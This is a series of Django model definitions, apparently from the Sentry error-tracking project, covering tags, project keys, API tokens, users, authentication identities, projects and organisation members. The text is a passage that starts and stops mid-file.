    __repr__ = sane_repr('group_id', 'release_id')






"""
sentry.models.grouptagkey
~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.db import models

from sentry.constants import MAX_TAG_KEY_LENGTH
from sentry.db.models import (
    Model, BoundedPositiveIntegerField, BaseManager, FlexibleForeignKey,
    sane_repr
)


class GroupTagKey(Model):
    """
    Stores a unique tag key name for a group.

    An example key might be "url" or "server_name".
    """
    __core__ = False

    project = FlexibleForeignKey('sentry.Project', null=True)
    group = FlexibleForeignKey('sentry.Group')
    key = models.CharField(max_length=MAX_TAG_KEY_LENGTH)
    values_seen = BoundedPositiveIntegerField(default=0)

    objects = BaseManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_grouptagkey'
        unique_together = (('project', 'group', 'key'),)

    __repr__ = sane_repr('project_id', 'group_id', 'key')






"""
sentry.models.tagvalue
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from django.core.urlresolvers import reverse
from django.db import models
from django.utils import timezone

from sentry.constants import MAX_TAG_KEY_LENGTH, MAX_TAG_VALUE_LENGTH
from sentry.db.models import (
    Model, BoundedPositiveIntegerField, FlexibleForeignKey, GzippedDictField,
    BaseManager, sane_repr
)
from sentry.utils.http import absolute_uri


class TagValue(Model):
    """
    Stores references to available filters.
    """
    __core__ = False

    project = FlexibleForeignKey('sentry.Project', null=True)
    key = models.CharField(max_length=MAX_TAG_KEY_LENGTH)
    value = models.CharField(max_length=MAX_TAG_VALUE_LENGTH)
    data = GzippedDictField(blank=True, null=True)
    times_seen = BoundedPositiveIntegerField(default=0)
    last_seen = models.DateTimeField(
        default=timezone.now, db_index=True, null=True)
    first_seen = models.DateTimeField(
        default=timezone.now, db_index=True, null=True)

    objects = BaseManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_filtervalue'
        unique_together = (('project', 'key', 'value'),)

    __repr__ = sane_repr('project_id', 'key', 'value')

    @classmethod
    def is_valid_value(cls, value):
        return '\n' not in value

    def get_label(self):
        # HACK(dcramer): quick and dirty way to hack in better display states
        if self.key == 'sentry:user':
            return self.data.get('email') or self.value
        elif self.key == 'sentry:function':
            return '%s in %s' % (self.data['function'], self.data['filename'])
        elif self.key == 'sentry:filename':
            return self.data['filename']
        elif self.key == 'sentry:release' and len(self.value) == 40:
            return self.value[:12]
        return self.value

    def get_absolute_url(self):
        # HACK(dcramer): quick and dirty way to support code/users
        if self.key == 'sentry:user':
            url_name = 'sentry-user-details'
        elif self.key == 'sentry:filename':
            url_name = 'sentry-explore-code-details'
        elif self.key == 'sentry:function':
            url_name = 'sentry-explore-code-details-by-function'
        else:
            url_name = 'sentry-explore-tag-value'
            return absolute_uri(reverse(url_name, args=[
                self.project.organization.slug, self.project.slug, self.key, self.id]))

        return absolute_uri(reverse(url_name, args=[
            self.project.organization.slug, self.project.slug, self.id]))






from __future__ import absolute_import

from datetime import timedelta

from django.conf import settings
from django.db import models
from django.utils import timezone
from django.utils.crypto import get_random_string
from django.utils.translation import ugettext_lazy as _

from sentry.db.models import FlexibleForeignKey, Model, sane_repr

CHARACTERS = u'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'


class UserEmail(Model):
    __core__ = True

    user = FlexibleForeignKey(settings.AUTH_USER_MODEL,
                              related_name='emails')
    email = models.EmailField(_('email address'))
    validation_hash = models.CharField(max_length=32)
    date_hash_added = models.DateTimeField(default=timezone.now)
    is_verified = models.BooleanField(
        _('verified'), default=False,
        help_text=_('Designates whether this user has confirmed their email.'))

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_useremail'
        unique_together = (('user', 'email'),)

    __repr__ = sane_repr('user_id', 'email')

    def set_hash(self):
        self.date_hash_added = timezone.now()
        self.validation_hash = get_random_string(32, CHARACTERS)

    def hash_is_valid(self):
        return self.validation_hash and self.date_hash_added > timezone.now() - timedelta(hours=48)






"""
sentry.models.projectkey
~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import petname
import six

from bitfield import BitField
from uuid import uuid4

from django.conf import settings
from django.core.urlresolvers import reverse
from django.db import models
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _
from six.moves.urllib.parse import urlparse

from sentry import options
from sentry.db.models import (
    Model, BaseManager, BoundedPositiveIntegerField, FlexibleForeignKey,
    sane_repr
)


# TODO(dcramer): pull in enum library
class ProjectKeyStatus(object):
    ACTIVE = 0
    INACTIVE = 1


class ProjectKey(Model):
    __core__ = True

    project = FlexibleForeignKey('sentry.Project', related_name='key_set')
    label = models.CharField(max_length=64, blank=True, null=True)
    public_key = models.CharField(max_length=32, unique=True, null=True)
    secret_key = models.CharField(max_length=32, unique=True, null=True)
    roles = BitField(flags=(
        # access to post events to the store endpoint
        ('store', 'Event API access'),

        # read/write access to rest API
        ('api', 'Web API access'),
    ), default=['store'])
    status = BoundedPositiveIntegerField(default=0, choices=(
        (ProjectKeyStatus.ACTIVE, _('Active')),
        (ProjectKeyStatus.INACTIVE, _('Inactive')),
    ), db_index=True)
    date_added = models.DateTimeField(default=timezone.now, null=True)

    objects = BaseManager(cache_fields=(
        'public_key',
        'secret_key',
    ))

    # support legacy project keys in API
    scopes = (
        'project:read',
        'project:write',
        'project:delete',
        'project:releases',
        'event:read',
        'event:write',
        'event:delete',
    )

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_projectkey'

    __repr__ = sane_repr('project_id', 'public_key')

    def __unicode__(self):
        return six.text_type(self.public_key)

    @classmethod
    def generate_api_key(cls):
        return uuid4().hex

    @classmethod
    def from_dsn(cls, dsn):
        urlparts = urlparse(dsn)

        public_key = urlparts.username
        project_id = urlparts.path.rsplit('/', 1)[-1]

        try:
            return ProjectKey.objects.get(
                public_key=public_key,
                project=project_id,
            )
        except ValueError:
            # ValueError would come from a non-integer project_id,
            # which is obviously a DoesNotExist. We catch and rethrow this
            # so anything downstream expecting DoesNotExist works fine
            raise ProjectKey.DoesNotExist('ProjectKey matching query does not exist.')

    @classmethod
    def get_default(cls, project):
        try:
            return cls.objects.filter(
                project=project,
                roles=cls.roles.store,
                status=ProjectKeyStatus.ACTIVE
            )[0]
        except IndexError:
            return None

    @property
    def is_active(self):
        return self.status == ProjectKeyStatus.ACTIVE

    def save(self, *args, **kwargs):
        if not self.public_key:
            self.public_key = ProjectKey.generate_api_key()
        if not self.secret_key:
            self.secret_key = ProjectKey.generate_api_key()
        if not self.label:
            self.label = petname.Generate(2, ' ').title()
        super(ProjectKey, self).save(*args, **kwargs)

    def get_dsn(self, domain=None, secure=True, public=False):
        if not public:
            key = '%s:%s' % (self.public_key, self.secret_key)
            url = settings.SENTRY_ENDPOINT
        else:
            key = self.public_key
            url = settings.SENTRY_PUBLIC_ENDPOINT or settings.SENTRY_ENDPOINT

        if url:
            urlparts = urlparse(url)
        else:
            urlparts = urlparse(options.get('system.url-prefix'))

        return '%s://%s@%s/%s' % (
            urlparts.scheme,
            key,
            urlparts.netloc + urlparts.path,
            self.project_id,
        )

    @property
    def dsn_private(self):
        return self.get_dsn(public=False)

    @property
    def dsn_public(self):
        return self.get_dsn(public=True)

    @property
    def csp_endpoint(self):
        endpoint = settings.SENTRY_PUBLIC_ENDPOINT or settings.SENTRY_ENDPOINT
        if not endpoint:
            endpoint = options.get('system.url-prefix')

        return '%s%s?sentry_key=%s' % (
            endpoint,
            reverse('sentry-api-csp-report', args=[self.project_id]),
            self.public_key,
        )

    def get_allowed_origins(self):
        from sentry.utils.http import get_origins
        return get_origins(self.project)

    def get_audit_log_data(self):
        return {
            'label': self.label,
            'public_key': self.public_key,
            'secret_key': self.secret_key,
            'roles': int(self.roles),
            'status': self.status,
        }

    def get_scopes(self):
        return self.scopes






from __future__ import absolute_import

from django.db import models
from django.utils import timezone

from sentry.db.models import FlexibleForeignKey, Model, sane_repr
from sentry.utils.hashlib import md5_text

KEYWORD_MAP = {
    'id': 'ident',
    'email': 'email',
    'username': 'username',
    'ip': 'ip_address',
}


class EventUser(Model):
    __core__ = False

    project = FlexibleForeignKey('sentry.Project')
    hash = models.CharField(max_length=32)
    ident = models.CharField(max_length=128, null=True)
    email = models.EmailField(null=True)
    username = models.CharField(max_length=128, null=True)
    ip_address = models.GenericIPAddressField(null=True)
    date_added = models.DateTimeField(default=timezone.now, db_index=True)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_eventuser'
        unique_together = (('project', 'ident'), ('project', 'hash'))
        index_together = (
            ('project', 'email'),
            ('project', 'username'),
            ('project', 'ip_address'),
        )

    __repr__ = sane_repr('project_id', 'ident', 'email', 'username', 'ip_address')

    @classmethod
    def attr_from_keyword(cls, keyword):
        return KEYWORD_MAP[keyword]

    def save(self, *args, **kwargs):
        assert self.ident or self.username or self.email or self.ip_address, \
            'No identifying value found for user'
        if not self.hash:
            self.hash = self.get_hash()
        super(EventUser, self).save(*args, **kwargs)

    def get_hash(self):
        value = self.ident or self.username or self.email or self.ip_address
        return md5_text(value).hexdigest()

    @property
    def tag_value(self):
        """
        Return the identifier used with tags to link this user.
        """
        if self.ident:
            return u'id:{}'.format(self.ident)
        if self.email:
            return u'email:{}'.format(self.email)
        if self.username:
            return u'username:{}'.format(self.username)
        if self.ip_address:
            return u'ip:{}'.format(self.ip_address)

    def get_label(self):
        return self.email or self.username or self.ident or self.ip_address

    def get_display_name(self):
        return self.email or self.username






from __future__ import absolute_import, print_function

from datetime import timedelta
from django.conf import settings
from django.db import models
from django.utils import timezone
from jsonfield import JSONField

from sentry.db.models import FlexibleForeignKey, Model, sane_repr


class AuthIdentity(Model):
    __core__ = True

    user = FlexibleForeignKey(settings.AUTH_USER_MODEL)
    auth_provider = FlexibleForeignKey('sentry.AuthProvider')
    ident = models.CharField(max_length=128)
    data = JSONField()
    last_verified = models.DateTimeField(default=timezone.now)
    last_synced = models.DateTimeField(default=timezone.now)
    date_added = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_authidentity'
        unique_together = (('auth_provider', 'ident'), ('auth_provider', 'user'))

    __repr__ = sane_repr('user_id', 'auth_provider_id')

    def __unicode__(self):
        return self.ident

    def get_audit_log_data(self):
        return {
            'user_id': self.user_id,
            'data': self.data,
        }

    # TODO(dcramer): we'd like to abstract this so there's a central Role object
    # and it doesnt require two composite db objects to talk to each other
    def is_valid(self, member):
        if getattr(member.flags, 'sso:invalid'):
            return False
        if not getattr(member.flags, 'sso:linked'):
            return False

        if not self.last_verified:
            return False
        if self.last_verified < timezone.now() - timedelta(hours=24):
            return False
        return True

    def get_display_name(self):
        return self.user.get_display_name()

    def get_label(self):
        return self.user.get_label()






"""
sentry.models.grouptagvalue
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from datetime import timedelta
from django.db import connections, models
from django.db.models import Sum
from django.utils import timezone

from sentry.constants import MAX_TAG_KEY_LENGTH, MAX_TAG_VALUE_LENGTH
from sentry.db.models import (
    Model, BoundedPositiveIntegerField, BaseManager, FlexibleForeignKey,
    sane_repr
)
from sentry.utils import db


class GroupTagValue(Model):
    """
    Stores the total number of messages seen by a group matching
    the given filter.
    """
    __core__ = False

    project = FlexibleForeignKey('sentry.Project', null=True, related_name='grouptag')
    group = FlexibleForeignKey('sentry.Group', related_name='grouptag')
    times_seen = BoundedPositiveIntegerField(default=0)
    key = models.CharField(max_length=MAX_TAG_KEY_LENGTH)
    value = models.CharField(max_length=MAX_TAG_VALUE_LENGTH)
    last_seen = models.DateTimeField(
        default=timezone.now, db_index=True, null=True)
    first_seen = models.DateTimeField(
        default=timezone.now, db_index=True, null=True)

    objects = BaseManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_messagefiltervalue'
        unique_together = (('group', 'key', 'value'),)
        index_together = (('project', 'key', 'value'),)

    __repr__ = sane_repr('project_id', 'group_id', 'key', 'value')

    def save(self, *args, **kwargs):
        if not self.first_seen:
            self.first_seen = self.last_seen
        super(GroupTag, self).save(*args, **kwargs)

    @classmethod
    def get_value_count(cls, group_id, key):
        if db.is_postgres():
            # This doesnt guarantee percentage is accurate, but it does ensure
            # that the query has a maximum cost
            cursor = connections['default'].cursor()
            cursor.execute("""
                SELECT SUM(t)
                FROM (
                    SELECT times_seen as t
                    FROM sentry_messagefiltervalue
                    WHERE group_id = %s
                    AND key = %s
                    ORDER BY last_seen DESC
                    LIMIT 10000
                ) as a
            """, [group_id, key])
            return cursor.fetchone()[0] or 0

        cutoff = timezone.now() - timedelta(days=7)
        return cls.objects.filter(
            group=group_id,
            key=key,
            last_seen__gte=cutoff,
        ).aggregate(t=Sum('times_seen'))['t']

    @classmethod
    def get_top_values(cls, group_id, key, limit=3):
        if db.is_postgres():
            # This doesnt guarantee percentage is accurate, but it does ensure
            # that the query has a maximum cost
            return list(cls.objects.raw("""
                SELECT *
                FROM (
                    SELECT *
                    FROM sentry_messagefiltervalue
                    WHERE group_id = %%s
                    AND key = %%s
                    ORDER BY last_seen DESC
                    LIMIT 10000
                ) as a
                ORDER BY times_seen DESC
                LIMIT %d
            """ % limit, [group_id, key]))

        cutoff = timezone.now() - timedelta(days=7)
        return list(cls.objects.filter(
            group=group_id,
            key=key,
            last_seen__gte=cutoff,
        ).order_by('-times_seen')[:limit])

GroupTag = GroupTagValue






from __future__ import absolute_import

from django.db import models
from sentry.db.models import Model, FlexibleForeignKey, sane_repr


class GroupSnooze(Model):
    __core__ = False

    group = FlexibleForeignKey('sentry.Group', unique=True)
    until = models.DateTimeField()

    class Meta:
        db_table = 'sentry_groupsnooze'
        app_label = 'sentry'

    __repr__ = sane_repr('group_id')






from __future__ import absolute_import, print_function

import six

from bitfield import BitField
from django.db import models
from django.utils import timezone
from uuid import uuid4

from sentry.db.models import (
    Model, BaseManager, FlexibleForeignKey, sane_repr
)


class ApiToken(Model):
    __core__ = True

    # users can generate tokens without being key-bound
    key = FlexibleForeignKey('sentry.ApiKey', null=True)
    user = FlexibleForeignKey('sentry.User')
    token = models.CharField(max_length=64, unique=True)
    scopes = BitField(flags=(
        ('project:read', 'project:read'),
        ('project:write', 'project:write'),
        ('project:delete', 'project:delete'),
        ('project:releases', 'project:releases'),
        ('team:read', 'team:read'),
        ('team:write', 'team:write'),
        ('team:delete', 'team:delete'),
        ('event:read', 'event:read'),
        ('event:write', 'event:write'),
        ('event:delete', 'event:delete'),
        ('org:read', 'org:read'),
        ('org:write', 'org:write'),
        ('org:delete', 'org:delete'),
        ('member:read', 'member:read'),
        ('member:write', 'member:write'),
        ('member:delete', 'member:delete'),
    ))
    date_added = models.DateTimeField(default=timezone.now)

    objects = BaseManager(cache_fields=(
        'token',
    ))

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_apitoken'

    __repr__ = sane_repr('key_id', 'user_id', 'token')

    def __unicode__(self):
        return six.text_type(self.token)

    @classmethod
    def generate_token(cls):
        return uuid4().hex + uuid4().hex

    def save(self, *args, **kwargs):
        if not self.token:
            self.token = type(self).generate_token()
        super(ApiToken, self).save(*args, **kwargs)

    def get_audit_log_data(self):
        return {
            'scopes': int(self.scopes),
        }

    def get_scopes(self):
        return [k for k, v in six.iteritems(self.scopes) if v]

    def has_scope(self, scope):
        return scope in self.scopes

    def get_allowed_origins(self):
        if self.key:
            return self.key.get_allowed_origins()
        return ()






"""
sentry.models.organizationonboardingtask
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.conf import settings
from django.db import models
from django.utils import timezone
from jsonfield import JSONField

from sentry.db.models import (
    BoundedBigIntegerField,
    BoundedPositiveIntegerField,
    FlexibleForeignKey,
    Model,
    sane_repr
)


class OnboardingTask(object):
    FIRST_PROJECT = 1
    FIRST_EVENT = 2
    INVITE_MEMBER = 3
    SECOND_PLATFORM = 4  # dependent on FIRST_EVENT.
    USER_CONTEXT = 5  # dependent on FIRST_EVENT
    RELEASE_TRACKING = 6  # dependent on FIRST_EVENT
    SOURCEMAPS = 7  # dependent on RELEASE_TRACKING and one of the platforms being javascript
    USER_REPORTS = 8  # Only for web frameworks
    ISSUE_TRACKER = 9
    NOTIFICATION_SERVICE = 10

    REQUIRED_ONBOARDING_TASKS = frozenset([1, 2, 3, 4, 5, 6, 7, 9, 10])


class OnboardingTaskStatus(object):
    """
    Pending is applicable for:
    first event: user confirms that sdk has been installed
    second platform: user confirms that sdk has been installed
    user context: user has added user context to sdk
    invite member: until the member has successfully joined org
    issue tracker: tracker added, issue not yet created
    """
    COMPLETE = 1
    PENDING = 2
    SKIPPED = 3


class OrganizationOnboardingTask(Model):
    """
    Onboarding tasks walk new Sentry orgs through basic features of Sentry.
    data field options (not all tasks have data fields):
        FIRST_EVENT: { 'platform':  'flask', }
        INVITE_MEMBER: { 'invited_member': user.id, 'teams': [team.id] }
        ISSUE_TRACKER | NOTIFICATION_SERVICE: { 'plugin': 'plugin_name' }
        ISSUE_ASSIGNMENT: { 'assigned_member': user.id }
        SECOND_PLATFORM: { 'platform': 'javascript' }
    """
    __core__ = False

    TASK_CHOICES = (
        (OnboardingTask.FIRST_EVENT, 'First event'),  # Send an organization's first event to Sentry
        (OnboardingTask.INVITE_MEMBER, 'Invite member'),  # Add a second member to your Sentry org.
        (OnboardingTask.ISSUE_TRACKER, 'Issue tracker'),  # Hook up an external issue tracker.
        (OnboardingTask.NOTIFICATION_SERVICE, 'Notification services'),  # Setup a notification services
        (OnboardingTask.SECOND_PLATFORM, 'Second platform'),  # Send an event from a second platform
        (OnboardingTask.USER_CONTEXT, 'User context'),  # Add user context to errors
        (OnboardingTask.SOURCEMAPS, 'Upload sourcemaps'),  # Upload sourcemaps for compiled js code
        (OnboardingTask.RELEASE_TRACKING, 'Release tracking'),  # Add release data to Sentry events
        (OnboardingTask.USER_REPORTS, 'User reports'),  # Send user reports
    )

    STATUS_CHOICES = (
        (OnboardingTaskStatus.COMPLETE, 'Complete'),
        (OnboardingTaskStatus.PENDING, 'Pending'),
        (OnboardingTaskStatus.SKIPPED, 'Skipped'),
    )

    organization = FlexibleForeignKey('sentry.Organization')
    user = FlexibleForeignKey(settings.AUTH_USER_MODEL, null=True)  # user that completed
    task = BoundedPositiveIntegerField(choices=TASK_CHOICES)
    status = BoundedPositiveIntegerField(choices=STATUS_CHOICES)
    date_completed = models.DateTimeField(default=timezone.now)
    project_id = BoundedBigIntegerField(blank=True, null=True)
    data = JSONField()  # INVITE_MEMBER { invited_member: user.id }

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_organizationonboardingtask'
        unique_together = (('organization', 'task'),)

    __repr__ = sane_repr('organization', 'task')






"""
sentry.models.release
~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from django.db import models
from django.utils import timezone

from sentry.db.models import (
    BoundedPositiveIntegerField, Model, sane_repr
)
from sentry.utils.cache import cache
from sentry.utils.hashlib import md5_text


class Environment(Model):
    __core__ = False

    project_id = BoundedPositiveIntegerField()
    name = models.CharField(max_length=64)
    date_added = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_environment'
        unique_together = (('project_id', 'name'),)

    __repr__ = sane_repr('project_id', 'name')

    @classmethod
    def get_cache_key(cls, project_id, name):
        return 'env:1:%s:%s' % (project_id, md5_text(name).hexdigest())

    @classmethod
    def get_or_create(cls, project, name):
        name = name or ''

        cache_key = cls.get_cache_key(project.id, name)

        env = cache.get(cache_key)
        if env is None:
            env = cls.objects.get_or_create(
                project_id=project.id,
                name=name,
            )[0]
            cache.set(cache_key, env, 3600)

        return env






"""
sentry.models.userreport
~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.db import models
from django.utils import timezone

from sentry.db.models import FlexibleForeignKey, Model, sane_repr


class UserReport(Model):
    __core__ = False

    project = FlexibleForeignKey('sentry.Project')
    group = FlexibleForeignKey('sentry.Group', null=True)
    event_id = models.CharField(max_length=32)
    name = models.CharField(max_length=128)
    email = models.EmailField(max_length=75)
    comments = models.TextField()
    date_added = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_userreport'
        index_together = (('project', 'event_id'), ('project', 'date_added'))
        unique_together = (('project', 'event_id'),)

    __repr__ = sane_repr('event_id', 'name', 'email')






"""
sentry.models.project
~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import logging
import six
import warnings

from django.conf import settings
from django.db import models
from django.db.models import F
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _

from sentry.app import locks
from sentry.db.models import (
    BaseManager, BoundedPositiveIntegerField, FlexibleForeignKey, Model,
    sane_repr
)
from sentry.db.models.utils import slugify_instance
from sentry.utils.colors import get_hashed_color
from sentry.utils.http import absolute_uri
from sentry.utils.retries import TimedRetryPolicy


# TODO(dcramer): pull in enum library
class ProjectStatus(object):
    VISIBLE = 0
    HIDDEN = 1
    PENDING_DELETION = 2
    DELETION_IN_PROGRESS = 3


class ProjectManager(BaseManager):
    # TODO(dcramer): we might want to cache this per user
    def get_for_user(self, team, user, _skip_team_check=False):
        from sentry.models import Team

        if not (user and user.is_authenticated()):
            return []

        if not _skip_team_check:
            team_list = Team.objects.get_for_user(
                organization=team.organization,
                user=user,
            )

            try:
                team = team_list[team_list.index(team)]
            except ValueError:
                logging.info('User does not have access to team: %s', team.id)
                return []

        base_qs = self.filter(
            team=team,
            status=ProjectStatus.VISIBLE,
        )

        project_list = []
        for project in base_qs:
            project.team = team
            project_list.append(project)

        return sorted(project_list, key=lambda x: x.name.lower())


class Project(Model):
    """
    Projects are permission based namespaces which generally
    are the top level entry point for all data.
    """
    __core__ = True

    slug = models.SlugField(null=True)
    name = models.CharField(max_length=200)
    forced_color = models.CharField(max_length=6, null=True, blank=True)
    organization = FlexibleForeignKey('sentry.Organization')
    team = FlexibleForeignKey('sentry.Team')
    public = models.BooleanField(default=False)
    date_added = models.DateTimeField(default=timezone.now)
    status = BoundedPositiveIntegerField(default=0, choices=(
        (ProjectStatus.VISIBLE, _('Active')),
        (ProjectStatus.PENDING_DELETION, _('Pending Deletion')),
        (ProjectStatus.DELETION_IN_PROGRESS, _('Deletion in Progress')),
    ), db_index=True)
    # projects that were created before this field was present
    # will have their first_event field set to date_added
    first_event = models.DateTimeField(null=True)

    objects = ProjectManager(cache_fields=[
        'pk',
        'slug',
    ])

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_project'
        unique_together = (('team', 'slug'), ('organization', 'slug'))

    __repr__ = sane_repr('team_id', 'name', 'slug')

    def __unicode__(self):
        return u'%s (%s)' % (self.name, self.slug)

    def next_short_id(self):
        from sentry.models import Counter
        return Counter.increment(self)

    def save(self, *args, **kwargs):
        if not self.slug:
            lock = locks.get('slug:project', duration=5)
            with TimedRetryPolicy(10)(lock.acquire):
                slugify_instance(self, self.name, organization=self.organization)
            super(Project, self).save(*args, **kwargs)
        else:
            super(Project, self).save(*args, **kwargs)

    def get_absolute_url(self):
        return absolute_uri('/{}/{}/'.format(self.organization.slug, self.slug))

    def merge_to(self, project):
        from sentry.models import (
            Group, GroupTagValue, Event, TagValue
        )

        if not isinstance(project, Project):
            project = Project.objects.get_from_cache(pk=project)

        for group in Group.objects.filter(project=self):
            try:
                other = Group.objects.get(
                    project=project,
                )
            except Group.DoesNotExist:
                group.update(project=project)
                GroupTagValue.objects.filter(
                    project=self,
                    group_id=group,
                ).update(project=project)
            else:
                Event.objects.filter(
                    group_id=group.id,
                ).update(group_id=other.id)

                for obj in GroupTagValue.objects.filter(group=group):
                    obj2, created = GroupTagValue.objects.get_or_create(
                        project=project,
                        group=group,
                        key=obj.key,
                        value=obj.value,
                        defaults={'times_seen': obj.times_seen}
                    )
                    if not created:
                        obj2.update(times_seen=F('times_seen') + obj.times_seen)

        for fv in TagValue.objects.filter(project=self):
            TagValue.objects.get_or_create(project=project, key=fv.key, value=fv.value)
            fv.delete()
        self.delete()

    def is_internal_project(self):
        for value in (settings.SENTRY_FRONTEND_PROJECT, settings.SENTRY_PROJECT):
            if six.text_type(self.id) == six.text_type(value) or six.text_type(self.slug) == six.text_type(value):
                return True
        return False

    def get_tags(self, with_internal=True):
        from sentry.models import TagKey

        if not hasattr(self, '_tag_cache'):
            tags = self.get_option('tags', None)
            if tags is None:
                tags = [
                    t for t in TagKey.objects.all_keys(self)
                    if with_internal or not t.startswith('sentry:')
                ]
            self._tag_cache = tags
        return self._tag_cache

    # TODO: Make these a mixin
    def update_option(self, *args, **kwargs):
        from sentry.models import ProjectOption

        return ProjectOption.objects.set_value(self, *args, **kwargs)

    def get_option(self, *args, **kwargs):
        from sentry.models import ProjectOption

        return ProjectOption.objects.get_value(self, *args, **kwargs)

    def delete_option(self, *args, **kwargs):
        from sentry.models import ProjectOption

        return ProjectOption.objects.unset_value(self, *args, **kwargs)

    @property
    def callsign(self):
        return self.slug.upper()

    @property
    def color(self):
        if self.forced_color is not None:
            return '#%s' % self.forced_color
        return get_hashed_color(self.callsign or self.slug)

    @property
    def member_set(self):
        from sentry.models import OrganizationMember
        return self.organization.member_set.filter(
            id__in=OrganizationMember.objects.filter(
                organizationmemberteam__is_active=True,
                organizationmemberteam__team=self.team,
            ).values('id'),
            user__is_active=True,
        ).distinct()

    def has_access(self, user, access=None):
        from sentry.models import AuthIdentity, OrganizationMember

        warnings.warn('Project.has_access is deprecated.', DeprecationWarning)

        queryset = self.member_set.filter(user=user)

        if access is not None:
            queryset = queryset.filter(type__lte=access)

        try:
            member = queryset.get()
        except OrganizationMember.DoesNotExist:
            return False

        try:
            auth_identity = AuthIdentity.objects.get(
                auth_provider__organization=self.organization_id,
                user=member.user_id,
            )
        except AuthIdentity.DoesNotExist:
            return True

        return auth_identity.is_valid(member)

    def get_audit_log_data(self):
        return {
            'id': self.id,
            'slug': self.slug,
            'name': self.name,
            'status': self.status,
            'public': self.public,
        }

    def get_full_name(self):
        if self.team.name not in self.name:
            return '%s %s' % (self.team.name, self.name)
        return self.name

    def is_user_subscribed_to_mail_alerts(self, user):
        from sentry.models import UserOption
        is_enabled = UserOption.objects.get_value(
            user, self, 'mail:alert', None)
        if is_enabled is None:
            is_enabled = UserOption.objects.get_value(
                user, None, 'subscribe_by_default', '1') == '1'
        else:
            is_enabled = bool(is_enabled)
        return is_enabled

    def is_user_subscribed_to_workflow(self, user):
        from sentry.models import UserOption, UserOptionValue

        opt_value = UserOption.objects.get_value(
            user, self, 'workflow:notifications', None)
        if opt_value is None:
            opt_value = UserOption.objects.get_value(
                user, None, 'workflow:notifications',
                UserOptionValue.all_conversations)
        return opt_value == UserOptionValue.all_conversations






"""
sentry.models.organizationmember
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import six

from bitfield import BitField
from django.conf import settings
from django.core.urlresolvers import reverse
from django.db import models, transaction
from django.utils import timezone
from django.utils.encoding import force_bytes
from hashlib import md5
from structlog import get_logger
from uuid import uuid4

from sentry import roles
from sentry.db.models import (
    BaseModel, BoundedAutoField, BoundedPositiveIntegerField,
    FlexibleForeignKey, Model, sane_repr
)
from sentry.utils.http import absolute_uri


class OrganizationMemberTeam(BaseModel):
    __core__ = True

    id = BoundedAutoField(primary_key=True)
    team = FlexibleForeignKey('sentry.Team')
    organizationmember = FlexibleForeignKey('sentry.OrganizationMember')
    # an inactive membership simply removes the team from the default list
    # but still allows them to re-join without request
    is_active = models.BooleanField(default=True)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_organizationmember_teams'
        unique_together = (('team', 'organizationmember'),)

    __repr__ = sane_repr('team_id', 'organizationmember_id')

    def get_audit_log_data(self):
        return {
            'team_slug': self.team.slug,
            'member_id': self.organizationmember_id,
            'email': self.organizationmember.get_email(),
            'is_active': self.is_active,
        }


class OrganizationMember(Model):
    """
    Identifies relationships between teams and users.

    Users listed as team members are considered to have access to all projects
    and could be thought of as team owners (though their access level may not)
    be set to ownership.
    """
    __core__ = True

    organization = FlexibleForeignKey('sentry.Organization', related_name="member_set")

    user = FlexibleForeignKey(settings.AUTH_USER_MODEL, null=True, blank=True,
                             related_name="sentry_orgmember_set")
    email = models.EmailField(null=True, blank=True)
    role = models.CharField(
        choices=roles.get_choices(),
        max_length=32,
        default=roles.get_default().id,
    )
    flags = BitField(flags=(
        ('sso:linked', 'sso:linked'),
        ('sso:invalid', 'sso:invalid'),
    ), default=0)
    token = models.CharField(max_length=64, null=True, blank=True, unique=True)
    date_added = models.DateTimeField(default=timezone.now)
    has_global_access = models.BooleanField(default=True)
    # counter = BoundedPositiveIntegerField(null=True, blank=True)
    teams = models.ManyToManyField('sentry.Team', blank=True,
                                   through='sentry.OrganizationMemberTeam')

    # Deprecated -- no longer used
    type = BoundedPositiveIntegerField(default=50, blank=True)

    class Meta:
